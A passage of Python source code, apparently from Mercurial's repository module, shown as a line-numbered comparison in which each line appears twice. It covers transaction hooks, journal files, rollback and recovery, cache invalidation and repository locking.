2126 node = hex(cl.node(rev))
2127 args.update(phases.preparehookargs(node, old, new))
2127 args.update(phases.preparehookargs(node, old, new))
2128 repo.hook(
2128 repo.hook(
2129 b'pretxnclose-phase',
2129 b'pretxnclose-phase',
2130 throw=True,
2130 throw=True,
2131 **pycompat.strkwargs(args)
2131 **pycompat.strkwargs(args)
2132 )
2132 )
2133
2133
2134 repo.hook(
2134 repo.hook(
2135 b'pretxnclose', throw=True, **pycompat.strkwargs(tr.hookargs)
2135 b'pretxnclose', throw=True, **pycompat.strkwargs(tr.hookargs)
2136 )
2136 )
2137
2137
2138 def releasefn(tr, success):
2138 def releasefn(tr, success):
2139 repo = reporef()
2139 repo = reporef()
2140 if repo is None:
2140 if repo is None:
2141 # If the repo has been GC'd (and this release function is being
2141 # If the repo has been GC'd (and this release function is being
2142 # called from transaction.__del__), there's not much we can do,
2142 # called from transaction.__del__), there's not much we can do,
2143 # so just leave the unfinished transaction there and let the
2143 # so just leave the unfinished transaction there and let the
2144 # user run `hg recover`.
2144 # user run `hg recover`.
2145 return
2145 return
2146 if success:
2146 if success:
2147 # this should be explicitly invoked here, because
2147 # this should be explicitly invoked here, because
2148 # in-memory changes aren't written out at closing
2148 # in-memory changes aren't written out at closing
2149 # transaction, if tr.addfilegenerator (via
2149 # transaction, if tr.addfilegenerator (via
2150 # dirstate.write or so) isn't invoked while
2150 # dirstate.write or so) isn't invoked while
2151 # transaction running
2151 # transaction running
2152 repo.dirstate.write(None)
2152 repo.dirstate.write(None)
2153 else:
2153 else:
2154 # discard all changes (including ones already written
2154 # discard all changes (including ones already written
2155 # out) in this transaction
2155 # out) in this transaction
2156 narrowspec.restorebackup(self, b'journal.narrowspec')
2156 narrowspec.restorebackup(self, b'journal.narrowspec')
2157 narrowspec.restorewcbackup(self, b'journal.narrowspec.dirstate')
2157 narrowspec.restorewcbackup(self, b'journal.narrowspec.dirstate')
2158 repo.dirstate.restorebackup(None, b'journal.dirstate')
2158 repo.dirstate.restorebackup(None, b'journal.dirstate')
2159
2159
2160 repo.invalidate(clearfilecache=True)
2160 repo.invalidate(clearfilecache=True)
2161
2161
2162 tr = transaction.transaction(
2162 tr = transaction.transaction(
2163 rp,
2163 rp,
2164 self.svfs,
2164 self.svfs,
2165 vfsmap,
2165 vfsmap,
2166 b"journal",
2166 b"journal",
2167 b"undo",
2167 b"undo",
2168 aftertrans(renames),
2168 aftertrans(renames),
2169 self.store.createmode,
2169 self.store.createmode,
2170 validator=validate,
2170 validator=validate,
2171 releasefn=releasefn,
2171 releasefn=releasefn,
2172 checkambigfiles=_cachedfiles,
2172 checkambigfiles=_cachedfiles,
2173 name=desc,
2173 name=desc,
2174 )
2174 )
2175 tr.changes[b'origrepolen'] = len(self)
2175 tr.changes[b'origrepolen'] = len(self)
2176 tr.changes[b'obsmarkers'] = set()
2176 tr.changes[b'obsmarkers'] = set()
2177 tr.changes[b'phases'] = {}
2177 tr.changes[b'phases'] = {}
2178 tr.changes[b'bookmarks'] = {}
2178 tr.changes[b'bookmarks'] = {}
2179
2179
2180 tr.hookargs[b'txnid'] = txnid
2180 tr.hookargs[b'txnid'] = txnid
2181 tr.hookargs[b'txnname'] = desc
2181 tr.hookargs[b'txnname'] = desc
2182 # note: writing the fncache only during finalize mean that the file is
2182 # note: writing the fncache only during finalize mean that the file is
2183 # outdated when running hooks. As fncache is used for streaming clone,
2183 # outdated when running hooks. As fncache is used for streaming clone,
2184 # this is not expected to break anything that happen during the hooks.
2184 # this is not expected to break anything that happen during the hooks.
2185 tr.addfinalize(b'flush-fncache', self.store.write)
2185 tr.addfinalize(b'flush-fncache', self.store.write)
2186
2186
2187 def txnclosehook(tr2):
2187 def txnclosehook(tr2):
2188 """To be run if transaction is successful, will schedule a hook run
2188 """To be run if transaction is successful, will schedule a hook run
2189 """
2189 """
2190 # Don't reference tr2 in hook() so we don't hold a reference.
2190 # Don't reference tr2 in hook() so we don't hold a reference.
2191 # This reduces memory consumption when there are multiple
2191 # This reduces memory consumption when there are multiple
2192 # transactions per lock. This can likely go away if issue5045
2192 # transactions per lock. This can likely go away if issue5045
2193 # fixes the function accumulation.
2193 # fixes the function accumulation.
2194 hookargs = tr2.hookargs
2194 hookargs = tr2.hookargs
2195
2195
2196 def hookfunc(unused_success):
2196 def hookfunc(unused_success):
2197 repo = reporef()
2197 repo = reporef()
2198 if hook.hashook(repo.ui, b'txnclose-bookmark'):
2198 if hook.hashook(repo.ui, b'txnclose-bookmark'):
2199 bmchanges = sorted(tr.changes[b'bookmarks'].items())
2199 bmchanges = sorted(tr.changes[b'bookmarks'].items())
2200 for name, (old, new) in bmchanges:
2200 for name, (old, new) in bmchanges:
2201 args = tr.hookargs.copy()
2201 args = tr.hookargs.copy()
2202 args.update(bookmarks.preparehookargs(name, old, new))
2202 args.update(bookmarks.preparehookargs(name, old, new))
2203 repo.hook(
2203 repo.hook(
2204 b'txnclose-bookmark',
2204 b'txnclose-bookmark',
2205 throw=False,
2205 throw=False,
2206 **pycompat.strkwargs(args)
2206 **pycompat.strkwargs(args)
2207 )
2207 )
2208
2208
2209 if hook.hashook(repo.ui, b'txnclose-phase'):
2209 if hook.hashook(repo.ui, b'txnclose-phase'):
2210 cl = repo.unfiltered().changelog
2210 cl = repo.unfiltered().changelog
2211 phasemv = sorted(tr.changes[b'phases'].items())
2211 phasemv = sorted(tr.changes[b'phases'].items())
2212 for rev, (old, new) in phasemv:
2212 for rev, (old, new) in phasemv:
2213 args = tr.hookargs.copy()
2213 args = tr.hookargs.copy()
2214 node = hex(cl.node(rev))
2214 node = hex(cl.node(rev))
2215 args.update(phases.preparehookargs(node, old, new))
2215 args.update(phases.preparehookargs(node, old, new))
2216 repo.hook(
2216 repo.hook(
2217 b'txnclose-phase',
2217 b'txnclose-phase',
2218 throw=False,
2218 throw=False,
2219 **pycompat.strkwargs(args)
2219 **pycompat.strkwargs(args)
2220 )
2220 )
2221
2221
2222 repo.hook(
2222 repo.hook(
2223 b'txnclose', throw=False, **pycompat.strkwargs(hookargs)
2223 b'txnclose', throw=False, **pycompat.strkwargs(hookargs)
2224 )
2224 )
2225
2225
2226 reporef()._afterlock(hookfunc)
2226 reporef()._afterlock(hookfunc)
2227
2227
2228 tr.addfinalize(b'txnclose-hook', txnclosehook)
2228 tr.addfinalize(b'txnclose-hook', txnclosehook)
2229 # Include a leading "-" to make it happen before the transaction summary
2229 # Include a leading "-" to make it happen before the transaction summary
2230 # reports registered via scmutil.registersummarycallback() whose names
2230 # reports registered via scmutil.registersummarycallback() whose names
2231 # are 00-txnreport etc. That way, the caches will be warm when the
2231 # are 00-txnreport etc. That way, the caches will be warm when the
2232 # callbacks run.
2232 # callbacks run.
2233 tr.addpostclose(b'-warm-cache', self._buildcacheupdater(tr))
2233 tr.addpostclose(b'-warm-cache', self._buildcacheupdater(tr))
2234
2234
2235 def txnaborthook(tr2):
2235 def txnaborthook(tr2):
2236 """To be run if transaction is aborted
2236 """To be run if transaction is aborted
2237 """
2237 """
2238 reporef().hook(
2238 reporef().hook(
2239 b'txnabort', throw=False, **pycompat.strkwargs(tr2.hookargs)
2239 b'txnabort', throw=False, **pycompat.strkwargs(tr2.hookargs)
2240 )
2240 )
2241
2241
2242 tr.addabort(b'txnabort-hook', txnaborthook)
2242 tr.addabort(b'txnabort-hook', txnaborthook)
2243 # avoid eager cache invalidation. in-memory data should be identical
2243 # avoid eager cache invalidation. in-memory data should be identical
2244 # to stored data if transaction has no error.
2244 # to stored data if transaction has no error.
2245 tr.addpostclose(b'refresh-filecachestats', self._refreshfilecachestats)
2245 tr.addpostclose(b'refresh-filecachestats', self._refreshfilecachestats)
2246 self._transref = weakref.ref(tr)
2246 self._transref = weakref.ref(tr)
2247 scmutil.registersummarycallback(self, tr, desc)
2247 scmutil.registersummarycallback(self, tr, desc)
2248 return tr
2248 return tr
2249
2249
2250 def _journalfiles(self):
2250 def _journalfiles(self):
2251 return (
2251 return (
2252 (self.svfs, b'journal'),
2252 (self.svfs, b'journal'),
2253 (self.svfs, b'journal.narrowspec'),
2253 (self.svfs, b'journal.narrowspec'),
2254 (self.vfs, b'journal.narrowspec.dirstate'),
2254 (self.vfs, b'journal.narrowspec.dirstate'),
2255 (self.vfs, b'journal.dirstate'),
2255 (self.vfs, b'journal.dirstate'),
2256 (self.vfs, b'journal.branch'),
2256 (self.vfs, b'journal.branch'),
2257 (self.vfs, b'journal.desc'),
2257 (self.vfs, b'journal.desc'),
2258 (bookmarks.bookmarksvfs(self), b'journal.bookmarks'),
2258 (bookmarks.bookmarksvfs(self), b'journal.bookmarks'),
2259 (self.svfs, b'journal.phaseroots'),
2259 (self.svfs, b'journal.phaseroots'),
2260 )
2260 )
2261
2261
2262 def undofiles(self):
2262 def undofiles(self):
2263 return [(vfs, undoname(x)) for vfs, x in self._journalfiles()]
2263 return [(vfs, undoname(x)) for vfs, x in self._journalfiles()]
2264
2264
2265 @unfilteredmethod
2265 @unfilteredmethod
2266 def _writejournal(self, desc):
2266 def _writejournal(self, desc):
2267 self.dirstate.savebackup(None, b'journal.dirstate')
2267 self.dirstate.savebackup(None, b'journal.dirstate')
2268 narrowspec.savewcbackup(self, b'journal.narrowspec.dirstate')
2268 narrowspec.savewcbackup(self, b'journal.narrowspec.dirstate')
2269 narrowspec.savebackup(self, b'journal.narrowspec')
2269 narrowspec.savebackup(self, b'journal.narrowspec')
2270 self.vfs.write(
2270 self.vfs.write(
2271 b"journal.branch", encoding.fromlocal(self.dirstate.branch())
2271 b"journal.branch", encoding.fromlocal(self.dirstate.branch())
2272 )
2272 )
2273 self.vfs.write(b"journal.desc", b"%d\n%s\n" % (len(self), desc))
2273 self.vfs.write(b"journal.desc", b"%d\n%s\n" % (len(self), desc))
2274 bookmarksvfs = bookmarks.bookmarksvfs(self)
2274 bookmarksvfs = bookmarks.bookmarksvfs(self)
2275 bookmarksvfs.write(
2275 bookmarksvfs.write(
2276 b"journal.bookmarks", bookmarksvfs.tryread(b"bookmarks")
2276 b"journal.bookmarks", bookmarksvfs.tryread(b"bookmarks")
2277 )
2277 )
2278 self.svfs.write(b"journal.phaseroots", self.svfs.tryread(b"phaseroots"))
2278 self.svfs.write(b"journal.phaseroots", self.svfs.tryread(b"phaseroots"))
2279
2279
2280 def recover(self):
2280 def recover(self):
2281 with self.lock():
2281 with self.lock():
2282 if self.svfs.exists(b"journal"):
2282 if self.svfs.exists(b"journal"):
2283 self.ui.status(_(b"rolling back interrupted transaction\n"))
2283 self.ui.status(_(b"rolling back interrupted transaction\n"))
2284 vfsmap = {
2284 vfsmap = {
2285 b'': self.svfs,
2285 b'': self.svfs,
2286 b'plain': self.vfs,
2286 b'plain': self.vfs,
2287 }
2287 }
2288 transaction.rollback(
2288 transaction.rollback(
2289 self.svfs,
2289 self.svfs,
2290 vfsmap,
2290 vfsmap,
2291 b"journal",
2291 b"journal",
2292 self.ui.warn,
2292 self.ui.warn,
2293 checkambigfiles=_cachedfiles,
2293 checkambigfiles=_cachedfiles,
2294 )
2294 )
2295 self.invalidate()
2295 self.invalidate()
2296 return True
2296 return True
2297 else:
2297 else:
2298 self.ui.warn(_(b"no interrupted transaction available\n"))
2298 self.ui.warn(_(b"no interrupted transaction available\n"))
2299 return False
2299 return False
2300
2300
2301 def rollback(self, dryrun=False, force=False):
2301 def rollback(self, dryrun=False, force=False):
2302 wlock = lock = dsguard = None
2302 wlock = lock = dsguard = None
2303 try:
2303 try:
2304 wlock = self.wlock()
2304 wlock = self.wlock()
2305 lock = self.lock()
2305 lock = self.lock()
2306 if self.svfs.exists(b"undo"):
2306 if self.svfs.exists(b"undo"):
2307 dsguard = dirstateguard.dirstateguard(self, b'rollback')
2307 dsguard = dirstateguard.dirstateguard(self, b'rollback')
2308
2308
2309 return self._rollback(dryrun, force, dsguard)
2309 return self._rollback(dryrun, force, dsguard)
2310 else:
2310 else:
2311 self.ui.warn(_(b"no rollback information available\n"))
2311 self.ui.warn(_(b"no rollback information available\n"))
2312 return 1
2312 return 1
2313 finally:
2313 finally:
2314 release(dsguard, lock, wlock)
2314 release(dsguard, lock, wlock)
2315
2315
2316 @unfilteredmethod # Until we get smarter cache management
2316 @unfilteredmethod # Until we get smarter cache management
2317 def _rollback(self, dryrun, force, dsguard):
2317 def _rollback(self, dryrun, force, dsguard):
2318 ui = self.ui
2318 ui = self.ui
2319 try:
2319 try:
2320 args = self.vfs.read(b'undo.desc').splitlines()
2320 args = self.vfs.read(b'undo.desc').splitlines()
2321 (oldlen, desc, detail) = (int(args[0]), args[1], None)
2321 (oldlen, desc, detail) = (int(args[0]), args[1], None)
2322 if len(args) >= 3:
2322 if len(args) >= 3:
2323 detail = args[2]
2323 detail = args[2]
2324 oldtip = oldlen - 1
2324 oldtip = oldlen - 1
2325
2325
2326 if detail and ui.verbose:
2326 if detail and ui.verbose:
2327 msg = _(
2327 msg = _(
2328 b'repository tip rolled back to revision %d'
2328 b'repository tip rolled back to revision %d'
2329 b' (undo %s: %s)\n'
2329 b' (undo %s: %s)\n'
2330 ) % (oldtip, desc, detail)
2330 ) % (oldtip, desc, detail)
2331 else:
2331 else:
2332 msg = _(
2332 msg = _(
2333 b'repository tip rolled back to revision %d (undo %s)\n'
2333 b'repository tip rolled back to revision %d (undo %s)\n'
2334 ) % (oldtip, desc)
2334 ) % (oldtip, desc)
2335 except IOError:
2335 except IOError:
2336 msg = _(b'rolling back unknown transaction\n')
2336 msg = _(b'rolling back unknown transaction\n')
2337 desc = None
2337 desc = None
2338
2338
2339 if not force and self[b'.'] != self[b'tip'] and desc == b'commit':
2339 if not force and self[b'.'] != self[b'tip'] and desc == b'commit':
2340 raise error.Abort(
2340 raise error.Abort(
2341 _(
2341 _(
2342 b'rollback of last commit while not checked out '
2342 b'rollback of last commit while not checked out '
2343 b'may lose data'
2343 b'may lose data'
2344 ),
2344 ),
2345 hint=_(b'use -f to force'),
2345 hint=_(b'use -f to force'),
2346 )
2346 )
2347
2347
2348 ui.status(msg)
2348 ui.status(msg)
2349 if dryrun:
2349 if dryrun:
2350 return 0
2350 return 0
2351
2351
2352 parents = self.dirstate.parents()
2352 parents = self.dirstate.parents()
2353 self.destroying()
2353 self.destroying()
2354 vfsmap = {b'plain': self.vfs, b'': self.svfs}
2354 vfsmap = {b'plain': self.vfs, b'': self.svfs}
2355 transaction.rollback(
2355 transaction.rollback(
2356 self.svfs, vfsmap, b'undo', ui.warn, checkambigfiles=_cachedfiles
2356 self.svfs, vfsmap, b'undo', ui.warn, checkambigfiles=_cachedfiles
2357 )
2357 )
2358 bookmarksvfs = bookmarks.bookmarksvfs(self)
2358 bookmarksvfs = bookmarks.bookmarksvfs(self)
2359 if bookmarksvfs.exists(b'undo.bookmarks'):
2359 if bookmarksvfs.exists(b'undo.bookmarks'):
2360 bookmarksvfs.rename(
2360 bookmarksvfs.rename(
2361 b'undo.bookmarks', b'bookmarks', checkambig=True
2361 b'undo.bookmarks', b'bookmarks', checkambig=True
2362 )
2362 )
2363 if self.svfs.exists(b'undo.phaseroots'):
2363 if self.svfs.exists(b'undo.phaseroots'):
2364 self.svfs.rename(b'undo.phaseroots', b'phaseroots', checkambig=True)
2364 self.svfs.rename(b'undo.phaseroots', b'phaseroots', checkambig=True)
2365 self.invalidate()
2365 self.invalidate()
2366
2366
2367 has_node = self.changelog.index.has_node
2367 has_node = self.changelog.index.has_node
2368 parentgone = any(not has_node(p) for p in parents)
2368 parentgone = any(not has_node(p) for p in parents)
2369 if parentgone:
2369 if parentgone:
2370 # prevent dirstateguard from overwriting already restored one
2370 # prevent dirstateguard from overwriting already restored one
2371 dsguard.close()
2371 dsguard.close()
2372
2372
2373 narrowspec.restorebackup(self, b'undo.narrowspec')
2373 narrowspec.restorebackup(self, b'undo.narrowspec')
2374 narrowspec.restorewcbackup(self, b'undo.narrowspec.dirstate')
2374 narrowspec.restorewcbackup(self, b'undo.narrowspec.dirstate')
2375 self.dirstate.restorebackup(None, b'undo.dirstate')
2375 self.dirstate.restorebackup(None, b'undo.dirstate')
2376 try:
2376 try:
2377 branch = self.vfs.read(b'undo.branch')
2377 branch = self.vfs.read(b'undo.branch')
2378 self.dirstate.setbranch(encoding.tolocal(branch))
2378 self.dirstate.setbranch(encoding.tolocal(branch))
2379 except IOError:
2379 except IOError:
2380 ui.warn(
2380 ui.warn(
2381 _(
2381 _(
2382 b'named branch could not be reset: '
2382 b'named branch could not be reset: '
2383 b'current branch is still \'%s\'\n'
2383 b'current branch is still \'%s\'\n'
2384 )
2384 )
2385 % self.dirstate.branch()
2385 % self.dirstate.branch()
2386 )
2386 )
2387
2387
2388 parents = tuple([p.rev() for p in self[None].parents()])
2388 parents = tuple([p.rev() for p in self[None].parents()])
2389 if len(parents) > 1:
2389 if len(parents) > 1:
2390 ui.status(
2390 ui.status(
2391 _(
2391 _(
2392 b'working directory now based on '
2392 b'working directory now based on '
2393 b'revisions %d and %d\n'
2393 b'revisions %d and %d\n'
2394 )
2394 )
2395 % parents
2395 % parents
2396 )
2396 )
2397 else:
2397 else:
2398 ui.status(
2398 ui.status(
2399 _(b'working directory now based on revision %d\n') % parents
2399 _(b'working directory now based on revision %d\n') % parents
2400 )
2400 )
2401 mergemod.mergestate.clean(self, self[b'.'].node())
2401 mergemod.mergestate.clean(self, self[b'.'].node())
2402
2402
2403 # TODO: if we know which new heads may result from this rollback, pass
2403 # TODO: if we know which new heads may result from this rollback, pass
2404 # them to destroy(), which will prevent the branchhead cache from being
2404 # them to destroy(), which will prevent the branchhead cache from being
2405 # invalidated.
2405 # invalidated.
2406 self.destroyed()
2406 self.destroyed()
2407 return 0
2407 return 0
2408
2408
2409 def _buildcacheupdater(self, newtransaction):
2409 def _buildcacheupdater(self, newtransaction):
2410 """called during transaction to build the callback updating cache
2410 """called during transaction to build the callback updating cache
2411
2411
2412 Lives on the repository to help extension who might want to augment
2412 Lives on the repository to help extension who might want to augment
2413 this logic. For this purpose, the created transaction is passed to the
2413 this logic. For this purpose, the created transaction is passed to the
2414 method.
2414 method.
2415 """
2415 """
2416 # we must avoid cyclic reference between repo and transaction.
2416 # we must avoid cyclic reference between repo and transaction.
2417 reporef = weakref.ref(self)
2417 reporef = weakref.ref(self)
2418
2418
2419 def updater(tr):
2419 def updater(tr):
2420 repo = reporef()
2420 repo = reporef()
2421 repo.updatecaches(tr)
2421 repo.updatecaches(tr)
2422
2422
2423 return updater
2423 return updater
2424
2424
2425 @unfilteredmethod
2425 @unfilteredmethod
2426 def updatecaches(self, tr=None, full=False):
2426 def updatecaches(self, tr=None, full=False):
2427 """warm appropriate caches
2427 """warm appropriate caches
2428
2428
2429 If this function is called after a transaction closed. The transaction
2429 If this function is called after a transaction closed. The transaction
2430 will be available in the 'tr' argument. This can be used to selectively
2430 will be available in the 'tr' argument. This can be used to selectively
2431 update caches relevant to the changes in that transaction.
2431 update caches relevant to the changes in that transaction.
2432
2432
2433 If 'full' is set, make sure all caches the function knows about have
2433 If 'full' is set, make sure all caches the function knows about have
2434 up-to-date data. Even the ones usually loaded more lazily.
2434 up-to-date data. Even the ones usually loaded more lazily.
2435 """
2435 """
2436 if tr is not None and tr.hookargs.get(b'source') == b'strip':
2436 if tr is not None and tr.hookargs.get(b'source') == b'strip':
2437 # During strip, many caches are invalid but
2437 # During strip, many caches are invalid but
2438 # later call to `destroyed` will refresh them.
2438 # later call to `destroyed` will refresh them.
2439 return
2439 return
2440
2440
2441 if tr is None or tr.changes[b'origrepolen'] < len(self):
2441 if tr is None or tr.changes[b'origrepolen'] < len(self):
2442 # accessing the 'ser ved' branchmap should refresh all the others,
2442 # accessing the 'ser ved' branchmap should refresh all the others,
2443 self.ui.debug(b'updating the branch cache\n')
2443 self.ui.debug(b'updating the branch cache\n')
2444 self.filtered(b'served').branchmap()
2444 self.filtered(b'served').branchmap()
2445 self.filtered(b'served.hidden').branchmap()
2445 self.filtered(b'served.hidden').branchmap()
2446
2446
2447 if full:
2447 if full:
2448 unfi = self.unfiltered()
2448 unfi = self.unfiltered()
2449 rbc = unfi.revbranchcache()
2449 rbc = unfi.revbranchcache()
2450 for r in unfi.changelog:
2450 for r in unfi.changelog:
2451 rbc.branchinfo(r)
2451 rbc.branchinfo(r)
2452 rbc.write()
2452 rbc.write()
2453
2453
2454 # ensure the working copy parents are in the manifestfulltextcache
2454 # ensure the working copy parents are in the manifestfulltextcache
2455 for ctx in self[b'.'].parents():
2455 for ctx in self[b'.'].parents():
2456 ctx.manifest() # accessing the manifest is enough
2456 ctx.manifest() # accessing the manifest is enough
2457
2457
2458 # accessing fnode cache warms the cache
2458 # accessing fnode cache warms the cache
2459 tagsmod.fnoderevs(self.ui, unfi, unfi.changelog.revs())
2459 tagsmod.fnoderevs(self.ui, unfi, unfi.changelog.revs())
2460 # accessing tags warm the cache
2460 # accessing tags warm the cache
2461 self.tags()
2461 self.tags()
2462 self.filtered(b'served').tags()
2462 self.filtered(b'served').tags()
2463
2463
2464 # The `full` arg is documented as updating even the lazily-loaded
2464 # The `full` arg is documented as updating even the lazily-loaded
2465 # caches immediately, so we're forcing a write to cause these caches
2465 # caches immediately, so we're forcing a write to cause these caches
2466 # to be warmed up even if they haven't explicitly been requested
2466 # to be warmed up even if they haven't explicitly been requested
2467 # yet (if they've never been used by hg, they won't ever have been
2467 # yet (if they've never been used by hg, they won't ever have been
2468 # written, even if they're a subset of another kind of cache that
2468 # written, even if they're a subset of another kind of cache that
2469 # *has* been used).
2469 # *has* been used).
2470 for filt in repoview.filtertable.keys():
2470 for filt in repoview.filtertable.keys():
2471 filtered = self.filtered(filt)
2471 filtered = self.filtered(filt)
2472 filtered.branchmap().write(filtered)
2472 filtered.branchmap().write(filtered)
2473
2473
2474 def invalidatecaches(self):
2474 def invalidatecaches(self):
2475
2475
2476 if '_tagscache' in vars(self):
2476 if '_tagscache' in vars(self):
2477 # can't use delattr on proxy
2477 # can't use delattr on proxy
2478 del self.__dict__['_tagscache']
2478 del self.__dict__['_tagscache']
2479
2479
2480 self._branchcaches.clear()
2480 self._branchcaches.clear()
2481 self.invalidatevolatilesets()
2481 self.invalidatevolatilesets()
2482 self._sparsesignaturecache.clear()
2482 self._sparsesignaturecache.clear()
2483
2483
2484 def invalidatevolatilesets(self):
2484 def invalidatevolatilesets(self):
2485 self.filteredrevcache.clear()
2485 self.filteredrevcache.clear()
2486 obsolete.clearobscaches(self)
2486 obsolete.clearobscaches(self)
2487
2487
2488 def invalidatedirstate(self):
2488 def invalidatedirstate(self):
2489 '''Invalidates the dirstate, causing the next call to dirstate
2489 '''Invalidates the dirstate, causing the next call to dirstate
2490 to check if it was modified since the last time it was read,
2490 to check if it was modified since the last time it was read,
2491 rereading it if it has.
2491 rereading it if it has.
2492
2492
2493 This is different to dirstate.invalidate() that it doesn't always
2493 This is different to dirstate.invalidate() that it doesn't always
2494 rereads the dirstate. Use dirstate.invalidate() if you want to
2494 rereads the dirstate. Use dirstate.invalidate() if you want to
2495 explicitly read the dirstate again (i.e. restoring it to a previous
2495 explicitly read the dirstate again (i.e. restoring it to a previous
2496 known good state).'''
2496 known good state).'''
2497 if hasunfilteredcache(self, 'dirstate'):
2497 if hasunfilteredcache(self, 'dirstate'):
2498 for k in self.dirstate._filecache:
2498 for k in self.dirstate._filecache:
2499 try:
2499 try:
2500 delattr(self.dirstate, k)
2500 delattr(self.dirstate, k)
2501 except AttributeError:
2501 except AttributeError:
2502 pass
2502 pass
2503 delattr(self.unfiltered(), 'dirstate')
2503 delattr(self.unfiltered(), 'dirstate')
2504
2504
2505 def invalidate(self, clearfilecache=False):
2505 def invalidate(self, clearfilecache=False):
2506 '''Invalidates both store and non-store parts other than dirstate
2506 '''Invalidates both store and non-store parts other than dirstate
2507
2507
2508 If a transaction is running, invalidation of store is omitted,
2508 If a transaction is running, invalidation of store is omitted,
2509 because discarding in-memory changes might cause inconsistency
2509 because discarding in-memory changes might cause inconsistency
2510 (e.g. incomplete fncache causes unintentional failure, but
2510 (e.g. incomplete fncache causes unintentional failure, but
2511 redundant one doesn't).
2511 redundant one doesn't).
2512 '''
2512 '''
2513 unfiltered = self.unfiltered() # all file caches are stored unfiltered
2513 unfiltered = self.unfiltered() # all file caches are stored unfiltered
2514 for k in list(self._filecache.keys()):
2514 for k in list(self._filecache.keys()):
2515 # dirstate is invalidated separately in invalidatedirstate()
2515 # dirstate is invalidated separately in invalidatedirstate()
2516 if k == b'dirstate':
2516 if k == b'dirstate':
2517 continue
2517 continue
2518 if (
2518 if (
2519 k == b'changelog'
2519 k == b'changelog'
2520 and self.currenttransaction()
2520 and self.currenttransaction()
2521 and self.changelog._delayed
2521 and self.changelog._delayed
2522 ):
2522 ):
2523 # The changelog object may store unwritten revisions. We don't
2523 # The changelog object may store unwritten revisions. We don't
2524 # want to lose them.
2524 # want to lose them.
2525 # TODO: Solve the problem instead of working around it.
2525 # TODO: Solve the problem instead of working around it.
2526 continue
2526 continue
2527
2527
2528 if clearfilecache:
2528 if clearfilecache:
2529 del self._filecache[k]
2529 del self._filecache[k]
2530 try:
2530 try:
2531 delattr(unfiltered, k)
2531 delattr(unfiltered, k)
2532 except AttributeError:
2532 except AttributeError:
2533 pass
2533 pass
2534 self.invalidatecaches()
2534 self.invalidatecaches()
2535 if not self.currenttransaction():
2535 if not self.currenttransaction():
2536 # TODO: Changing contents of store outside transaction
2536 # TODO: Changing contents of store outside transaction
2537 # causes inconsistency. We should make in-memory store
2537 # causes inconsistency. We should make in-memory store
2538 # changes detectable, and abort if changed.
2538 # changes detectable, and abort if changed.
2539 self.store.invalidatecaches()
2539 self.store.invalidatecaches()
2540
2540
2541 def invalidateall(self):
2541 def invalidateall(self):
2542 '''Fully invalidates both store and non-store parts, causing the
2542 '''Fully invalidates both store and non-store parts, causing the
2543 subsequent operation to reread any outside changes.'''
2543 subsequent operation to reread any outside changes.'''
2544 # extension should hook this to invalidate its caches
2544 # extension should hook this to invalidate its caches
2545 self.invalidate()
2545 self.invalidate()
2546 self.invalidatedirstate()
2546 self.invalidatedirstate()
2547
2547
2548 @unfilteredmethod
2548 @unfilteredmethod
2549 def _refreshfilecachestats(self, tr):
2549 def _refreshfilecachestats(self, tr):
2550 """Reload stats of cached files so that they are flagged as valid"""
2550 """Reload stats of cached files so that they are flagged as valid"""
2551 for k, ce in self._filecache.items():
2551 for k, ce in self._filecache.items():
2552 k = pycompat.sysstr(k)
2552 k = pycompat.sysstr(k)
2553 if k == 'dirstate' or k not in self.__dict__:
2553 if k == 'dirstate' or k not in self.__dict__:
2554 continue
2554 continue
2555 ce.refresh()
2555 ce.refresh()
2556
2556
2557 def _lock(
2557 def _lock(
2558 self,
2558 self,
2559 vfs,
2559 vfs,
2560 lockname,
2560 lockname,
2561 wait,
2561 wait,
2562 releasefn,
2562 releasefn,
2563 acquirefn,
2563 acquirefn,
2564 desc,
2564 desc,
2565 inheritchecker=None,
2565 inheritchecker=None,
2566 parentenvvar=None,
2566 parentenvvar=None,
2567 ):
2567 ):
2568 parentlock = None
2568 parentlock = None
2569 # the contents of parentenvvar are used by the underlying lock to
2569 # the contents of parentenvvar are used by the underlying lock to
2570 # determine whether it can be inherited
2570 # determine whether it can be inherited
2571 if parentenvvar is not None:
2571 if parentenvvar is not None:
2572 parentlock = encoding.environ.get(parentenvvar)
2572 parentlock = encoding.environ.get(parentenvvar)
2573
2573
2574 timeout = 0
2574 timeout = 0
2575 warntimeout = 0
2575 warntimeout = 0
2576 if wait:
2576 if wait:
2577 timeout = self.ui.configint(b"ui", b"timeout")
2577 timeout = self.ui.configint(b"ui", b"timeout")
2578 warntimeout = self.ui.configint(b"ui", b"timeout.warn")
2578 warntimeout = self.ui.configint(b"ui", b"timeout.warn")
2579 # internal config: ui.signal-safe-lock
2579 # internal config: ui.signal-safe-lock
2580 signalsafe = self.ui.configbool(b'ui', b'signal-safe-lock')
2580 signalsafe = self.ui.configbool(b'ui', b'signal-safe-lock')
2581
2581
2582 l = lockmod.trylock(
2582 l = lockmod.trylock(
2583 self.ui,
2583 self.ui,
2584 vfs,
2584 vfs,
2585 lockname,
2585 lockname,
2586 timeout,
2586 timeout,
2587 warntimeout,
2587 warntimeout,
2588 releasefn=releasefn,
2588 releasefn=releasefn,
2589 acquirefn=acquirefn,
2589 acquirefn=acquirefn,
2590 desc=desc,
2590 desc=desc,
2591 inheritchecker=inheritchecker,
2591 inheritchecker=inheritchecker,
2592 parentlock=parentlock,
2592 parentlock=parentlock,
2593 signalsafe=signalsafe,
2593 signalsafe=signalsafe,
2594 )
2594 )
2595 return l
2595 return l
2596
2596
2597 def _afterlock(self, callback):
2597 def _afterlock(self, callback):
2598 """add a callback to be run when the repository is fully unlocked
2598 """add a callback to be run when the repository is fully unlocked
2599
2599
2600 The callback will be executed when the outermost lock is released
2600 The callback will be executed when the outermost lock is released
2601 (with wlock being higher level than 'lock')."""
2601 (with wlock being higher level than 'lock')."""
2602 for ref in (self._wlockref, self._lockref):
2602 for ref in (self._wlockref, self._lockref):
2603 l = ref and ref()
2603 l = ref and ref()
2604 if l and l.held:
2604 if l and l.held:
2605 l.postrelease.append(callback)
2605 l.postrelease.append(callback)
2606 break
2606 break
2607 else: # no lock have been found.
2607 else: # no lock have been found.
2608 callback(True)
2608 callback(True)
2609
2609
2610 def lock(self, wait=True):
2610 def lock(self, wait=True):
2611 '''Lock the repository store (.hg/store) and return a weak reference
2611 '''Lock the repository store (.hg/store) and return a weak reference
2612 to the lock. Use this before modifying the store (e.g. committing or
2612 to the lock. Use this before modifying the store (e.g. committing or
2613 stripping). If you are opening a transaction, get a lock as well.)
2613 stripping). If you are opening a transaction, get a lock as well.)
2614
2614
2615 If both 'lock' and 'wlock' must be acquired, ensure you always acquires
